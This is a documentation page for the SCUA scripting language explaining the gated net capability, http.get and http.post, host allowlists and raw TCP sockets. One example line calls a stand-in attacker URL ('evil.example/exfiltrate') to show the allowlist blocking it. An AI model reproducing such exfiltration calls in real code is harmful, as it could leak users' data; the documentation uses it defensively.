SCUA

How-to

Fetch data over HTTP

Calling an API or fetching a URL needs the net capability. Like file access, it's off by default: the http module doesn't exist unless the host grants net, so network access can't appear in a script — or leak into an embedded build — unless someone deliberately turns it on. And when it's on, the host says which hosts the script may reach.

#Granting the capability

From the CLI:

scua --allow-net script.scua                       # any host
scua --allow-net=api.example.com script.scua       # only this host
scua --allow-net=api.example.com,cdn.example.com script.scua   # an allowlist

Without --allow-net, import http is a compile error, before a line runs:

$ scua script.scua
script.scua:1: module `http` needs the `net` capability, which this run was not granted — grant it with `--allow-net` on the CLI, or the host's capability API when embedding

The CLI's HTTP client is built on Zig's standard library, with its own pure-Zig TLS — so HTTPS works out of the box, with no system curl or OpenSSL to install.

#Making requests

import http

match http.get("https://api.example.com/status")
  Ok(resp) -> print(`got {resp.status}: {resp.body}`)
  Error(why) -> print(`request failed: {why}`)
end
  • http.get(url)Ok({ status, body }) or Error(reason). The response is a record with the integer HTTP status and the body as a string.
  • http.post(url, body) → same result shape; body is sent as the request payload.

A request is fallible, not fatal. A connection that's refused, a host that times out, a TLS failure, a URL that doesn't parse — every one comes back as an Error value you match on, exactly like json.decode. It never crashes the script. So the ? operator chains requests cleanly:

fn latest_version()
  let resp = http.get("https://api.example.com/version")?   -- Error short-circuits out
  return json.decode(resp.body)?
end

A 404 or 500 is not an Error — the request succeeded, the server just answered with that status. Check resp.status when you care:

match http.get(url)
  Ok(resp) when resp.status == 200 -> use(resp.body)
  Ok(resp) -> print(`server said {resp.status}`)
  Error(why) -> print(`could not reach it: {why}`)
end

#The allowlist is a boundary

If you grant --allow-net=api.example.com, a request to any other host comes back as an Errorbefore a packet leaves the machine:

http.get("https://evil.example/exfiltrate")   -- Error("host is not in this run's net allowlist")

So even a script you trust with network access can only talk to the hosts you named. Grant a tight allowlist and that's the script's entire reach — auditable from the command line, not buried in the code. A bare --allow-net (no list) allows any host; use it for first-party scripts, and a specific allowlist for anything you're less sure of.

#Raw TCP sockets

When you need to speak a protocol the http module doesn't — a line-based service, a database wire protocol, something custom — the same net capability gives you raw TCP via the net module. It's gated and allowlisted exactly like http: import net needs --allow-net, and net.dial checks the host against the allowlist.

import net

match net.dial("example.com", 80)
  Ok(conn) -> do
    net.write(conn, "GET / HTTP/1.0\r\nHost: example.com\r\n\r\n")
    match net.read(conn, 256)
      Ok(data) -> print(data)        -- up to 256 bytes; "" means the peer closed
      Error(why) -> print(why)
    end
    net.close(conn)
  end
  Error(why) -> print(`could not connect: {why}`)
end
  • net.dial(host, port)Ok(connection) or Error. The connection is an opaque, non-sendable handle: you can't pass it to another partition in a message — the runtime refuses to copy it — so authority over a live socket can't leak across an isolation boundary.
  • net.read(conn, max)Ok(bytes) (up to max; an empty string means the peer hung up) or Error.
  • net.write(conn, data)Ok(bytes_written) or Error.
  • net.close(conn)Ok(nil). Connections are also closed automatically when the partition is torn down, so a leaked handle won't hold a socket forever — but close them when you're done.

Reach for http for ordinary requests; reach for net when you genuinely need the bytes.

#Where the client comes from

The language core carries no HTTP or TLS code at all — the http module's functions call out to a client the host supplies. The scua CLI supplies one (Zig's std.http); a C embedder supplies their own; a WebAssembly host wires the runtime's HTTP. So the embeddable build stays small and client-free, and each host uses the networking stack it already has.

Requests are blocking by default, which is right for a straight-line CLI script. When you're fanning out — many gets at once — pass --io=async and the calls run on an offload pool, so under wait_all/map_all the waits overlap; the results are identical either way. And http isn't only a client: the same runtime answers requests too. See Serve HTTP requests for http.serve and the separate serve grant.